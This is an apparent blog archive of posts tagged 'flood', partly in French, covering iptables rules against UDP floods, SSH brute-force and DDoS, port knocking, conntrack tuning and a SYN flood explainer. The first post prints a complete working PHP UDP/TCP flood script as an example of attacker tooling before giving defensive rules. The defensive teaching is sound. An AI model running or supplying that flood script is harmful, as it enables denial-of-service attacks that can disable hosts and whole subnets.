Archive

Articles taggués ‘flood’

Code Snippet: iptables settings to prevent UDP abuse (flood protection)

04/03/2016 Comments off

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
        $dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
  if($_GET['type'] == 'tcp')
 { 
    $posttype = 'tcp://';
 }
 else
 {
    $posttype = 'udp://';
 }
}
else
{
  $posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
    if(isset($_GET['p']))
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
        if($sock){
                ++$p;
                $fwriteFile = fwrite($sock, $out);
                fclose($sock);
        }
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

iptables recent module usage by example

02/03/2016 Comments off

https://www.dbsysnet.com/wp-content/uploads/2016/06/iptables.jpgiptables recent module usage by example

icmp check: 2 packets per 10 seconds – rcheck

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --rcheck --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

icmp check: 2 packets per 10 seconds – update

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --update --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds

SSHPORT=22
iptables -F
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP 
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --set --name BRUTEFORCE -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds – separate chain

SSHPORT=22
iptables -F
iptables -X
iptables -N BRUTECHECK
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j BRUTECHECK
iptables -A BRUTECHECK -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP
iptables -A BRUTECHECK -m recent --set --name BRUTEFORCE -j ACCEPT

SSH port knocking : tcp/1000 , tcp/2000

SSHPORT=22
N1=1000
N2=2000
iptables -F
iptables -X
iptables -N KNOCK1
iptables -N KNOCK2
iptables -N OK

iptables -A KNOCK1 -m recent --set --name SEENFIRST
iptables -A KNOCK1 -m recent --remove --name KNOCKED
iptables -A KNOCK1 -j DROP

iptables -A KNOCK2 -m recent --rcheck --name SEENFIRST --seconds 5 -j OK
iptables -A KNOCK2 -m recent --remove --name SEENFIRST
iptables -A KNOCK2 -j DROP

iptables -A OK -m recent --set --name KNOCKED
iptables -A OK -j DROP

iptables -A INPUT -p tcp --dport ${N1} -j KNOCK1
iptables -A INPUT -p tcp --dport ${N2} -j KNOCK2
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --seconds 10 --rcheck --name KNOCKED -j ACCEPT
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j DROP

SSH port knocker script

#!/bin/bash
HOST="172.16.20.2"
SSHPORT=22
KNOCKS="1000 2000"

for PORT in $KNOCKS; do
  echo "Knock: $PORT"
  telnet $HOST $PORT &> /dev/null &
  P=$(echo $!)
  echo "PID: ${P}"
  sleep 1
  kill -KILL ${P}
done
ssh -p${SSHPORT} ${HOST}

Source: Pejman Moghadam

Resolving “nf_conntrack: table full, dropping packet.” flood message in dmesg Linux kernel log

19/01/2016 Comments off

Source: pc-freak.net

nf_conntrack_table_full_dropping_packet
On many busy servers, you might encounter in /var/log/syslog or dmesg kernel log messages like

nf_conntrack: table full, dropping packet

to appear repeatingly:

[1737157.057528] nf_conntrack: table full, dropping packet.
[1737157.160357] nf_conntrack: table full, dropping packet.
[1737157.260534] nf_conntrack: table full, dropping packet.
[1737157.361837] nf_conntrack: table full, dropping packet.
[1737157.462305] nf_conntrack: table full, dropping packet.
[1737157.564270] nf_conntrack: table full, dropping packet.
[1737157.666836] nf_conntrack: table full, dropping packet.
[1737157.767348] nf_conntrack: table full, dropping packet.
[1737157.868338] nf_conntrack: table full, dropping packet.
[1737157.969828] nf_conntrack: table full, dropping packet.
[1737157.969928] nf_conntrack: table full, dropping packet
[1737157.989828] nf_conntrack: table full, dropping packet
[1737162.214084] __ratelimit: 83 callbacks suppressed

There are two type of servers, I’ve encountered this message on:

1. Xen OpenVZ / VPS (Virtual Private Servers)
2. ISPs – Internet Providers with heavy traffic NAT network routers

I. What is the meaning of nf_conntrack: table full dropping packet error message

In short, this message is received because the nf_conntrack kernel maximum number assigned value gets reached.
The common reason for that is a heavy traffic passing by the server or very often a DoS or DDoS (Distributed Denial of Service) attack. Sometimes encountering the err is a result of a bad server planning (incorrect data about expected traffic load by a company/companeis) or simply a sys admin error…

– Checking the current maximum nf_conntrack value assigned on host:

linux:~# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_max
65536

– Alternative way to check the current kernel values for nf_conntrack is through:

linux:~# /sbin/sysctl -a|grep -i nf_conntrack_max
error: permission denied on key 'net.ipv4.route.flush'
net.netfilter.nf_conntrack_max = 65536
error: permission denied on key 'net.ipv6.route.flush'
net.nf_conntrack_max = 65536

– Check the current sysctl nf_conntrack active connections

To check present connection tracking opened on a system:

:

linux:~# /sbin/sysctl net.netfilter.nf_conntrack_count
net.netfilter.nf_conntrack_count = 12742

The shown connections are assigned dynamicly on each new succesful TCP / IP NAT-ted connection. Btw, on a systems that work normally without the dmesg log being flooded with the message, the output of lsmod is:

linux:~# /sbin/lsmod | egrep 'ip_tables|conntrack'
ip_tables 9899 1 iptable_filter
x_tables 14175 1 ip_tables

On servers which are encountering nf_conntrack: table full, dropping packet error, you can see, when issuing lsmod, extra modules related to nf_conntrack are shown as loaded:

linux:~# /sbin/lsmod | egrep 'ip_tables|conntrack'
nf_conntrack_ipv4 10346 3 iptable_nat,nf_nat
nf_conntrack 60975 4 ipt_MASQUERADE,iptable_nat,nf_nat,nf_conntrack_ipv4
nf_defrag_ipv4 1073 1 nf_conntrack_ipv4
ip_tables 9899 2 iptable_nat,iptable_filter
x_tables 14175 3 ipt_MASQUERADE,iptable_nat,ip_tables

Lire la suite…

SynFlood

29/11/2015 Comments off

1 – Le concept

L’attaque SynFlood est basée sur l’envoi massif de demande d’ouverture de session TCP. Les buts recherchés peuvent être :

  • Le Buffer Overflow du process écoutant le port TCP de destination.
  • La saturation du nombre d’ouverture de session TCP en cours.

2 – Le fonctionnement

2.1 – Schéma

2.2 – Envoi du SYN

Le fonctionnement est de générer une trame TCP de demande de synchronisation à destination de la cible. Cette demande de synchronisation SYN est la première étape d’une ouverture de session TCP. Voici le schéma de l’entête TCP avec ce fameux flag SYN basé sur 1 bit :

 

Les 5 autres flags doivent être positionnés à 0.

2.3 – Réception par la cible A

La cible recevant la synchronisation TCP mémorise cette demande nécessitant donc de la mémoire et du processeur. Voici l’état des connexions d’un Windows XP avant la réception d’un Synflood :

 

Et voici après la réception des demandes de SYN :

 

La cible passe les requêtes reçues en SYN_RECEIVED. Cet état est temporaire, le temps de durée de vie est variable en fonction de la pile IP.

Dans mon exemple, la cible tourne sur une station XP limitée en nombre de sessions simultanée. Ceci ayant pour conséquence l’indisponibilité temporaire du port ciblé.

* testé depuis la machine ayant effectuée le Synflood

Lire la suite…

Categories: Réseau, Sécurité Tags: , , ,

How to use netfilter and iptables to stop a DDoS Attack?

06/11/2015 Comments off

Source: Phil Chen

This how to article will go over stopping a DDoS attack when all you have access to is the targeted Linux host using netfilter and iptables. The two methods are either to simply drop packets from the offending IP/range or to only allow the offending IP/range X number of requests per second, if the range exceeds the requests per second rate traffic is dropped from the range.

*NOTE This method is for small attacks on services you are running on your Linux host. For large attacks using your gateway’s (firewall, load balancer, switch, or router) anti DDoS features maybe necessary or even having your ISP mitigating maybe the only option. I do often see attacks on HTTP from a hundred hosts or so and this article works on that scale.

Here is a example of a script for dropping packets from a offending IP/range lets say for our purposes the range is 206.250.230.0/24

#!/bin/bash
/sbin/iptables -I INPUT 1 -s 206.250.230.0/24 -j DROP
/sbin/iptables -I OUTPUT 1 -d 206.250.230.0/24 -j DROP
/sbin/iptables -I FORWARD 1 -s 206.250.230.0/24 -j DROP
/sbin/iptables -I FORWARD 1 -d 206.250.230.0/24 -j DROP

Here is a example of a script for dropping packets from a offending IP/range if it exceeds 30 requests per second lets say for our purposes the range is 206.250.230.0/24

#!/bin/bash
/sbin/iptables -I INPUT 1 -m limit --limit 30/sec -s 206.250.230.0/24 -j ACCEPT
/sbin/iptables -I INPUT 2 -s 206.250.230.0/24 -j DROP
 
/sbin/iptables -I OUTPUT 1 -m limit --limit 30/sec -d 206.250.230.0/24 -j ACCEPT
/sbin/iptables -I OUTPUT 2 -d 206.250.230.0/24 -j DROP
 
/sbin/iptables -I FORWARD 1 -m limit --limit 30/sec -s 206.250.230.0/24 -j ACCEPT
/sbin/iptables -I FORWARD 2 -s 206.250.230.0/24 -j DROP
 
/sbin/iptables -I FORWARD 1 -m limit --limit 30/sec -d 206.250.230.0/24 -j ACCEPT
/sbin/iptables -I FORWARD 2 -d 206.250.230.0/24 -j DROP

You can see your changes applied by running iptables -L command as seen below:

-bash-4.1# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  206.250.230.0/24     anywhere            limit: avg 30/sec burst 5 
DROP       all  --  206.250.230.0/24     anywhere            
 
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             206.250.230.0/24    limit: avg 30/sec burst 5 
DROP       all  --  anywhere             206.250.230.0/24    
ACCEPT     all  --  206.250.230.0/24     anywhere            limit: avg 30/sec burst 5 
DROP       all  --  206.250.230.0/24     anywhere            
 
Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             206.250.230.0/24    limit: avg 30/sec burst 5 
DROP       all  --  anywhere             206.250.230.0/24